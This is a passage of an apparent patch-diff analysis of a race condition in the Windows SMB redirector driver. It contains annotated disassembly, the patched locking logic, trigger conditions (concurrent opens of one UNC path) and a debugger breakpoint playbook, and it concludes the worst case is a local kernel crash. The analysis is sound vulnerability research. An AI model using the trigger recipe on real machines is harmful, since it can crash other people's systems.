&lt;span class="mh"&gt;0x1400087B4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+60h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SessionID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+48h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+64h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LogonID&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+4Ch&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087C9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+1ACh&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VnrCtxts&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+1A8h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;session&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
&lt;span class="mh"&gt;0x140008805&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;atomic&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x14000882C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+780h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x140008841&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExReleaseSpinLockExclusive&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;released&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- no ExBlockOnAddressPushLock; no wait on any init flag ---&lt;/span&gt;
&lt;span class="mh"&gt;0x14000884D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+80h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mh"&gt;0x14000885B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;CheckCredentials&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1400089FC&lt;/span&gt;
&lt;span class="mh"&gt;0x14000888F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+80h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mh"&gt;0x1400088CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;
&lt;span class="mh"&gt;0x1400088D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x1400088E1&lt;/span&gt;
&lt;span class="mh"&gt;0x1400088D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+38h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;
&lt;span class="mh"&gt;0x1400088D8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;
&lt;span class="mh"&gt;0x1400088DB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="mh"&gt;0x14005A4FE&lt;/span&gt;
&lt;span class="mh"&gt;0x14005A53B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_SeAccessCheck&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SD&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The unguarded dereference is in &lt;code&gt;CheckCredentials&lt;/code&gt; (&lt;code&gt;@ 0x1400089FC&lt;/code&gt;), which receives the &lt;code&gt;+0x80&lt;/code&gt; pointer as its first argument:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; --- CheckCredentials @ 0x1400089FC (identical logic in both builds) ---&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x140008A12&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;rax&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; rax = security-context (+0x80)&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x140008A2F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;rax&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x140008A32&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x140008A3C&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; only the [rax+8] read is guarded&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x140008A48&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;r8b&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;r8b&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;; arg3&lt;/span&gt;
&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x140008A4D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;rdx&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;[&lt;span class="nv"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="nv"&gt;h&lt;/span&gt;]
&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="nv"&gt;x140008A56&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;[&lt;span class="nv"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="nv"&gt;h&lt;/span&gt;],&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; NULL-deref sink if rax == 0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The patched &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (&lt;code&gt;@ 0x1400334F0&lt;/code&gt;) inserts the wait before this point:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SmbCeFindSessionEntry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1400334F0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;0x1400335DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;230&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;session-init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;
&lt;span class="nt"&gt;0x1400335E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;0x1400336F9&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;already&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;initialized&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;proceed&lt;/span&gt;
&lt;span class="nt"&gt;0x140033694&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;230&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;0x14003369B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;238&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;per-entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;pushlock&lt;/span&gt;
&lt;span class="nt"&gt;0x1400336A2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_ExBlockOnAddressPushLock&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wait&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x230&lt;/span&gt;
&lt;span class="nt"&gt;0x140033709&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;231&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;transport-init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;flag&lt;/span&gt;
&lt;span class="nt"&gt;0x1400337CB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;231&lt;/span&gt;&lt;span class="nx"&gt;h&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;
&lt;span class="nt"&gt;0x1400337D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nd"&gt;__imp_ExBlockOnAddressPushLock&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wait&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nt"&gt;0x231&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Session Setup:&lt;/strong&gt; Attacker operates within a standard local user logon session (no special privilege required, but local code execution is required — the path is not remotely reachable).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Target:&lt;/strong&gt; A UNC path (e.g., &lt;code&gt;\\SERVER\SHARE&lt;/code&gt;) whose tree-connect drives &lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race Generation:&lt;/strong&gt; Multiple threads in the same logon session call &lt;code&gt;CreateFileW&lt;/code&gt; / &lt;code&gt;NtCreateFile&lt;/code&gt; on the same UNC path concurrently, released together via a barrier, so that one thread is still completing session/transport setup of a newly constructed session entry while another matches it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fault Window:&lt;/strong&gt; The second thread proceeds to &lt;code&gt;CheckCredentials&lt;/code&gt; on the matched entry before setup completes. If the entry's security-context pointer (&lt;code&gt;+0x80&lt;/code&gt;) is NULL at that instant, the &lt;code&gt;cmp [rax+0x38]&lt;/code&gt; at &lt;code&gt;0x140008A56&lt;/code&gt; faults.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; A kernel bugcheck (e.g., &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;, &lt;code&gt;0x50&lt;/code&gt;). No unauthorized access is granted — the &lt;code&gt;SeAccessCheck&lt;/code&gt; path null-checks its inputs and cannot be reached with a NULL/garbage descriptor.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; None beyond a local denial of service. The matched entry is zero-initialized pool memory; its contents are not attacker-controlled, so there is no read/write primitive, no information leak, and no way to forge a security descriptor. The &lt;code&gt;SeAccessCheck&lt;/code&gt; call site guards both &lt;code&gt;+0x80&lt;/code&gt; and the descriptor at &lt;code&gt;+0x38&lt;/code&gt;, so it cannot be coerced into evaluating attacker data.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reachability caveat:&lt;/strong&gt; Because the construction routine sets &lt;code&gt;+0x80&lt;/code&gt; and the match keys before publishing the entry into the searchable list under the same spinlock, even the NULL-dereference outcome depends on the security-context pointer being legitimately NULL for the matched entry (e.g., a credential-less session) at the moment of the race. This is a narrow, timing-dependent condition and is the reason the change is best characterized as concurrency hardening with a local-DoS worst case rather than a memory-safety exploitation primitive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rollout note:&lt;/strong&gt; The fix is gated by &lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt;; when the feature is disabled the caller dispatches to &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt;, which is byte-for-byte the pre-patch behavior. This is a staged rollout, not an unconditional fix.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;To observe the race on an unpatched system with a kernel debugger attached:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mrxsmb!SmbCeFindSessionEntry+0xc9&lt;/code&gt; (&lt;code&gt;0x1400087C9&lt;/code&gt;) — a matching entry has been found and its refcount is being incremented. &lt;code&gt;rbx&lt;/code&gt; is the session entry. Inspect &lt;code&gt;rbx+0x80&lt;/code&gt; (security-context pointer) and &lt;code&gt;rbx+0x1a8&lt;/code&gt; (session refcount).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mrxsmb!SmbCeFindSessionEntry+0x14d&lt;/code&gt; (&lt;code&gt;0x14000884D&lt;/code&gt;) — &lt;code&gt;mov rcx, [rbx+0x80]&lt;/code&gt;, immediately after the spinlock release, feeding the security-context pointer into &lt;code&gt;CheckCredentials&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;mrxsmb!CheckCredentials+0x5a&lt;/code&gt; (&lt;code&gt;0x140008A56&lt;/code&gt;) — &lt;code&gt;cmp [rax+0x38], rdx&lt;/code&gt;, the NULL-dereference sink when &lt;code&gt;rax&lt;/code&gt; (the &lt;code&gt;+0x80&lt;/code&gt; pointer) is zero.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Registers &amp;amp; Memory to Watch:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rbx&lt;/code&gt; = matched session entry.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rbx+0x80&lt;/code&gt; = security-context pointer (crash candidate at &lt;code&gt;CheckCredentials+0x5a&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rbx+0x1a8&lt;/code&gt; = session refcount (match gate).&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;rsi+0x48&lt;/code&gt; / &lt;code&gt;rsi+0x4c&lt;/code&gt; = target SessionID / LogonID used for matching.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
